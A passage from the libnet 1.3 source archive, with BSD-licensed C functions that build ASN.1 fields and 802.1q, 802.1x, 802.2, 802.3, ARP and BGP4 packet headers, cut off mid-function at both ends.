0) || ((integer & mask) == mask)) && int_s > 1) { int_s--; integer <<= 8; } data = libnet_build_asn1_header(data, datalen, type, int_s); if (data == NULL || *datalen < int_s) { return (NULL); } *datalen -= int_s; mask = ((uint32_t) 0xFF) << (8 * (sizeof(int32_t) - 1)); /* mask is 0xFF000000 on a big-endian machine */ while (int_s--) { *data++ = (uint8_t)((integer & mask) >> (8 * (sizeof (int32_t) - 1))); integer <<= 8; } return (data); } uint8_t * libnet_build_asn1_uint(uint8_t *data, int *datalen, uint8_t type, uint32_t *int_p, int int_s) { /* * ASN.1 integer ::= 0x02 asnlength byte {byte}* */ uint32_t integer; uint32_t mask; int add_null_byte = 0; if (int_s != sizeof (int32_t)) { return (NULL); } integer = *int_p; mask = ((uint32_t) 0xFF) << (8 * (sizeof (int32_t) - 1)); /* mask is 0xFF000000 on a big-endian machine */ if ((uint8_t)((integer & mask) >> (8 * (sizeof (int32_t) - 1))) & 0x80) { /* if MSB is set */ add_null_byte = 1; int_s++; } else { /* * Truncate "unnecessary" bytes off of the most significant end of this * 2's complement integer. There should be no sequence of 9 * consecutive 1's or 0's at the most significant end of the * integer. */ mask = ((uint32_t) 0x1FF) << ((8 * (sizeof(int32_t) - 1)) - 1); /* mask is 0xFF800000 on a big-endian machine */ while (((integer & mask) == 0) && int_s > 1) { int_s--; integer <<= 8; } } data = libnet_build_asn1_header(data, datalen, type, int_s); if (data == NULL || *datalen < int_s) { return (NULL); } *datalen -= int_s; if (add_null_byte == 1) { *data++ = '\0'; int_s--; } mask = ((uint32_t) 0xFF) << (8 * (sizeof(int32_t) - 1)); /* mask is 0xFF000000 on a big-endian machine */ while (int_s--) { *data++ = (uint8_t)((integer & mask) >> (8 * (sizeof (int32_t) - 1))); integer <<= 8; } return (data); } uint8_t * libnet_build_asn1_string(uint8_t *data, int *datalen, uint8_t type, uint8_t *string, int str_s) { /* * ASN.1 octet string ::= primstring | cmpdstring * primstring ::= 0x04 asnlength byte {byte}* * cmpdstring ::= 0x24 asnlength string {string}* * This code will never send a compound string. */ data = libnet_build_asn1_header(data, datalen, type, str_s); if (data == NULL || *datalen < str_s) { return (NULL); } memmove(data, string, str_s); *datalen -= str_s; return (data + str_s); } uint8_t * libnet_build_asn1_header(uint8_t *data, int *datalen, uint8_t type, int len) { if (*datalen < 1) { return (NULL); } *data++ = type; (*datalen)--; return (libnet_build_asn1_length(data, datalen, len)); } uint8_t * libnet_build_asn1_sequence(uint8_t *data, int *datalen, uint8_t type, int len) { *datalen -= 4; if (*datalen < 0) { *datalen += 4; /* fix up before punting */ return (NULL); } *data++ = type; *data++ = (uint8_t)(0x02 | ASN_LONG_LEN); *data++ = (uint8_t)((len >> 8) & 0xFF); *data++ = (uint8_t)(len & 0xFF); return (data); } uint8_t * libnet_build_asn1_length(uint8_t *data, int *datalen, int len) { uint8_t *start_data = data; /* no indefinite lengths sent */ if (len < 0x80) { if (*datalen < 1) { return (NULL); } *data++ = (uint8_t)len; } else if (len <= 0xFF) { if (*datalen < 2) { return (NULL); } *data++ = (uint8_t)(0x01 | ASN_LONG_LEN); *data++ = (uint8_t)len; } else /* 0xFF < len <= 0xFFFF */ { if (*datalen < 3) { return (NULL); } *data++ = (uint8_t)(0x02 | ASN_LONG_LEN); *data++ = (uint8_t)((len >> 8) & 0xFF); *data++ = (uint8_t)(len & 0xFF); } *datalen -= (int)(data - start_data); return (data); } uint8_t * libnet_build_asn1_objid(uint8_t *data, int *datalen, uint8_t type, oid *objid, int objidlen) { /* * ASN.1 objid ::= 0x06 asnlength subidentifier {subidentifier}* * subidentifier ::= {leadingbyte}* lastbyte * leadingbyte ::= 1 7bitvalue * lastbyte ::= 0 7bitvalue */ int asnlen; oid *op = objid; uint8_t objid_size[MAX_OID_LEN]; uint32_t objid_val; uint32_t first_objid_val; int i; /* check if there are at least 2 sub-identifiers */ if (objidlen < 2) { /* there are not, so make OID have two with value of zero */ objid_val = 0; objidlen = 2; } else { /* combine the first two values */ objid_val = (op[0] * 40) + op[1]; op += 2; } first_objid_val = objid_val; /* calculate the number of bytes needed to store the encoded value */ for (i = 1, asnlen = 0;;) { if (objid_val < (unsigned)0x80) { objid_size[i] = 1; asnlen += 1; } else if (objid_val < (unsigned)0x4000) { objid_size[i] = 2; asnlen += 2; } else if (objid_val < (unsigned)0x200000) { objid_size[i] = 3; asnlen += 3; } else if (objid_val < (unsigned)0x10000000) { objid_size[i] = 4; asnlen += 4; } else { objid_size[i] = 5; asnlen += 5; } i++; if (i >= objidlen) { break; } objid_val = *op++; } /* store the ASN.1 tag and length */ data = libnet_build_asn1_header(data, datalen, type, asnlen); if (data == NULL || *datalen < asnlen) { return (NULL); } /* store the encoded OID value */ for (i = 1, objid_val = first_objid_val, op = objid + 2; i < objidlen; i++) { if (i != 1) { objid_val = *op++; } switch (objid_size[i]) { case 1: *data++ = (uint8_t)objid_val; break; case 2: *data++ = (uint8_t)((objid_val >> 7) | 0x80); *data++ = (uint8_t)(objid_val & 0x07f); break; case 3: *data++ = (uint8_t)((objid_val >> 14) | 0x80); *data++ = (uint8_t)((objid_val >> 7 & 0x7f) | 0x80); *data++ = (uint8_t)(objid_val & 0x07f); break; case 4: *data++ = (uint8_t)((objid_val >> 21) | 0x80); *data++ = (uint8_t)((objid_val >> 14 & 0x7f) | 0x80); *data++ = (uint8_t)((objid_val >> 7 & 0x7f) | 0x80); *data++ = (uint8_t)(objid_val & 0x07f); break; case 5: *data++ = (uint8_t)((objid_val >> 28) | 0x80); *data++ = (uint8_t)((objid_val >> 21 & 0x7f) | 0x80); *data++ = (uint8_t)((objid_val >> 14 & 0x7f) | 0x80); *data++ = (uint8_t)((objid_val >> 7 & 0x7f) | 0x80); *data++ = (uint8_t)(objid_val & 0x07f); break; } } /* return the length and data ptagr */ *datalen -= asnlen; return (data); } uint8_t * libnet_build_asn1_null(uint8_t *data, int *datalen, uint8_t type) { /* * ASN.1 null ::= 0x05 0x00 */ return (libnet_build_asn1_header(data, datalen, type, 0)); } uint8_t * libnet_build_asn1_bitstring(uint8_t *data, int *datalen, uint8_t type, uint8_t *string, int str_s) { /* * ASN.1 bit string ::= 0x03 asnlength unused {byte}* */ if (str_s < 1 || *string > 7) { return (NULL); } data = libnet_build_asn1_header(data, datalen, type, str_s); if (data == NULL || *datalen < str_s) { return (NULL); } memmove(data, string, str_s); *datalen -= str_s; return (data + str_s); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_802.1q.c0000664000175000017500000000647114506572036015366 0ustar syqsyq/* * $Id: libnet_build_802.1q.c,v 1.11 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_802.1q.c - 802.1q packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_802_1q(const uint8_t *dst, const uint8_t *src, uint16_t tpi, uint8_t priority, uint8_t cfi, uint16_t vlan_id, uint16_t len_proto, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_802_1q_hdr _802_1q_hdr; if (l == NULL) { return (-1); } n = LIBNET_802_1Q_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_802_1Q_H); if (p == NULL) { return (-1); } memset(&_802_1q_hdr, 0, sizeof(_802_1q_hdr)); memcpy(_802_1q_hdr.vlan_dhost, dst, ETHER_ADDR_LEN); memcpy(_802_1q_hdr.vlan_shost, src, ETHER_ADDR_LEN); _802_1q_hdr.vlan_tpi = htons(tpi); _802_1q_hdr.vlan_priority_c_vid = htons((priority << 13) | (cfi << 12) | (vlan_id & LIBNET_802_1Q_VIDMASK)); _802_1q_hdr.vlan_len = htons(len_proto); if (libnet_pblock_append(l, p, (uint8_t *)&_802_1q_hdr, LIBNET_802_1Q_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); /* * The link offset is actually 4 bytes further into the header than * before (the VLAN header adds this 4 bytes). We need to update the * link offset pointer. XXX - should we set this here? * Probably not. We should make pblock_coalesce check the pblock type * and adjust accordingly. */ l->link_offset += 4; return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_802_1Q_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_802.1x.c0000664000175000017500000000517614506572036015376 0ustar syqsyq/* * $Id: libnet_build_802.1x.c,v 1.12 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_802.1x.c - 802.1x packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_802_1x(uint8_t eap_ver, uint8_t eap_type, uint16_t length, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_802_1x_hdr dot1x_hdr; if (l == NULL) { return (-1); } n = LIBNET_802_1X_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_802_1X_H); if (p == NULL) { return (-1); } memset(&dot1x_hdr, 0, sizeof(dot1x_hdr)); dot1x_hdr.dot1x_version = eap_ver; dot1x_hdr.dot1x_type = eap_type; dot1x_hdr.dot1x_length = htons(length); if (libnet_pblock_append(l, p, (uint8_t *)&dot1x_hdr, LIBNET_802_1X_H) == -1) { goto bad; } LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_802_1X_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_802.2.c0000664000175000017500000000756314506572036015211 0ustar syqsyq/* * $Id: libnet_build_802.2.c,v 1.11 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_802.2.c - 802.2 packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_802_2(uint8_t dsap, uint8_t ssap, uint8_t control, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_802_2_hdr _802_2_hdr; if (l == NULL) { return (-1); } n = LIBNET_802_2_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_802_2_H); if (p == NULL) { return (-1); } memset(&_802_2_hdr, 0, sizeof(_802_2_hdr)); _802_2_hdr.llc_dsap = dsap; _802_2_hdr.llc_ssap = ssap; _802_2_hdr.llc_control = control; if (libnet_pblock_append(l, p, (uint8_t *)&_802_2_hdr, LIBNET_802_2_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_802_2_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_802_2snap(uint8_t dsap, uint8_t ssap, uint8_t control, uint8_t *oui, uint16_t type, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_802_2snap_hdr _802_2_hdr; if (l == NULL) { return (-1); } n = LIBNET_802_2SNAP_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_802_2SNAP_H); if (p == NULL) { return (-1); } memset(&_802_2_hdr, 0, sizeof(_802_2_hdr)); _802_2_hdr.snap_dsap = dsap; _802_2_hdr.snap_ssap = ssap; _802_2_hdr.snap_control = control; memcpy(_802_2_hdr.snap_oui, oui, 3); _802_2_hdr.snap_type = htons(type); if (libnet_pblock_append(l, p, (uint8_t *)&_802_2_hdr, LIBNET_802_2SNAP_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_802_2SNAP_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_802.3.c0000664000175000017500000000543414506572036015205 0ustar syqsyq/* * $Id: libnet_build_802.3.c,v 1.10 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_802_3.c - 802.3 packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_802_3(const uint8_t *dst, const uint8_t *src, uint16_t len, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_802_3_hdr _802_3_hdr; if (l == NULL) { return (-1); } n = LIBNET_802_3_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_802_3_H); if (p == NULL) { return (-1); } memset(&_802_3_hdr, 0, sizeof(_802_3_hdr)); memcpy(_802_3_hdr._802_3_dhost, dst, ETHER_ADDR_LEN); /* dest address */ memcpy(_802_3_hdr._802_3_shost, src, ETHER_ADDR_LEN); /* src address */ _802_3_hdr._802_3_len = htons(len); /* packet length */ if (libnet_pblock_append(l, p, (uint8_t *)&_802_3_hdr, LIBNET_802_3_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_802_3_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_arp.c0000664000175000017500000001211314506572036015305 0ustar syqsyq/* * $Id: libnet_build_arp.c,v 1.13 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_arp.c - ARP packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_arp(uint16_t hrd, uint16_t pro, uint8_t hln, uint8_t pln, uint16_t op, const uint8_t *sha, const uint8_t *spa, const uint8_t *tha, const uint8_t *tpa, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_arp_hdr arp_hdr; if (l == NULL) { return (-1); } n = LIBNET_ARP_H + (2 * hln) + (2 * pln) + payload_s; h = 0; /* ARP headers have no checksum */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ARP_H); if (p == NULL) { return (-1); } memset(&arp_hdr, 0, sizeof(arp_hdr)); arp_hdr.ar_hrd = htons(hrd); /* hardware address type */ arp_hdr.ar_pro = htons(pro); /* protocol address type */ arp_hdr.ar_hln = hln; /* hardware address length */ arp_hdr.ar_pln = pln; /* protocol address length */ arp_hdr.ar_op = htons(op); /* opcode command */ if (libnet_pblock_append(l, p, (uint8_t *)&arp_hdr, LIBNET_ARP_H) == -1) { /* err msg set in libnet_pblock_append() */ goto bad; } if (libnet_pblock_append(l, p, sha, hln) == -1) { /* err msg set in libnet_pblock_append() */ goto bad; } if (libnet_pblock_append(l, p, spa, pln) == -1) { /* err msg set in libnet_pblock_append() */ goto bad; } if (libnet_pblock_append(l, p, tha, hln) == -1) { /* err msg set in libnet_pblock_append() */ goto bad; } if (libnet_pblock_append(l, p, tpa, pln) == -1) { /* err msg set in libnet_pblock_append() */ goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_ARP_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_autobuild_arp(uint16_t op, const uint8_t *sha, const uint8_t *spa, const uint8_t *tha, const uint8_t *tpa, libnet_t *l) { uint16_t hrd; switch (l->link_type) { case 1: /* DLT_EN10MB */ hrd = ARPHRD_ETHER; break; case 6: /* DLT_IEEE802 */ hrd = ARPHRD_IEEE802; break; default: hrd = 0; snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): unsupported link type", __func__); return (-1); /* add other link-layers */ } return (libnet_build_arp( hrd, /* hardware addr */ ETHERTYPE_IP, /* protocol addr */ 6, /* hardware addr size */ 4, /* protocol addr size */ op, /* operation type */ sha, /* sender hardware addr */ spa, /* sender protocol addr */ tha, /* target hardware addr */ tpa, /* target protocol addr */ NULL, /* payload */ 0, /* payload size */ l, /* libnet context */ 0)); /* libnet id */ } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_bgp.c0000664000175000017500000001704614506572036015305 0ustar syqsyq/* * $Id: libnet_build_bgp.c,v 1.8 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_bgp.c - BGP packet assembler (RFC 1771) * * Copyright (c) 2003 Frederic Raynal * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_bgp4_header(uint8_t marker[LIBNET_BGP4_MARKER_SIZE], uint16_t len, uint8_t type, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_bgp4_header_hdr bgp4_hdr; if (l == NULL) { return (-1); } n = LIBNET_BGP4_HEADER_H + payload_s; /* size of memory block */ h = 0; /* BGP headers have no checksum */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_BGP4_HEADER_H); if (p == NULL) { return (-1); } memset(&bgp4_hdr, 0, sizeof(bgp4_hdr)); memcpy(bgp4_hdr.marker, marker, LIBNET_BGP4_MARKER_SIZE * sizeof(uint8_t)); bgp4_hdr.len = htons(len); bgp4_hdr.type = type; if (libnet_pblock_append(l, p, (uint8_t *)&bgp4_hdr, LIBNET_BGP4_HEADER_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_BGP4_HEADER_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_bgp4_open(uint8_t version, uint16_t src_as, uint16_t hold_time, uint32_t bgp_id, uint8_t opt_len, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; uint16_t val; if (l == NULL) { return (-1); } n = LIBNET_BGP4_OPEN_H + payload_s; /* size of memory block */ h = 0; /* BGP msg have no checksum */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_BGP4_OPEN_H); if (p == NULL) { return (-1); } /* for memory alignment reason, we need to append each field separately */ if (libnet_pblock_append(l, p, (uint8_t *)&version, sizeof (version)) == -1) { goto bad; } val = htons(src_as); if (libnet_pblock_append(l, p, (uint8_t *)&val, sizeof(src_as)) == -1) { goto bad; } val = htons(hold_time); if (libnet_pblock_append(l, p, (uint8_t *)&val, sizeof(hold_time)) == -1) { goto bad; } n = htonl(bgp_id); if (libnet_pblock_append(l, p, (uint8_t *)&n, sizeof(bgp_id)) == -1) { goto bad; } if (libnet_pblock_append(l, p, (uint8_t *)&opt_len, sizeof(opt_len)) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_BGP4_OPEN_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_bgp4_update(uint16_t unfeasible_rt_len, const uint8_t *withdrawn_rt, uint16_t total_path_attr_len, const uint8_t *path_attributes, uint16_t info_len, uint8_t *reachability_info, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; uint16_t length; if (l == NULL) { return (-1); } /* size of memory block */ n = LIBNET_BGP4_UPDATE_H + unfeasible_rt_len + total_path_attr_len + info_len + payload_s; /* BGP msg have no checksum */ h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_BGP4_UPDATE_H); if (p == NULL) { return (-1); } /* for memory alignment reason, we need to append each field separately */ length = htons(unfeasible_rt_len); if (libnet_pblock_append(l, p, (uint8_t *)&length, sizeof (unfeasible_rt_len)) == -1) { goto bad; } if (unfeasible_rt_len && withdrawn_rt) { if (libnet_pblock_append(l, p, withdrawn_rt, unfeasible_rt_len) == -1) { goto bad; } } length = htons(total_path_attr_len); if (libnet_pblock_append(l, p, (uint8_t *)&length, sizeof (total_path_attr_len)) == -1) { goto bad; } if (total_path_attr_len && path_attributes) { if (libnet_pblock_append(l, p, path_attributes, total_path_attr_len) == -1) { goto bad; } } if (info_len && reachability_info) { if (libnet_pblock_append(l, p, reachability_info, info_len) == -1) { goto bad; } } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_BGP4_UPDATE_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_bgp4_notification(uint8_t err_code, uint8_t err_subcode, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_bgp4_notification_hdr bgp4_hdr; if (l == 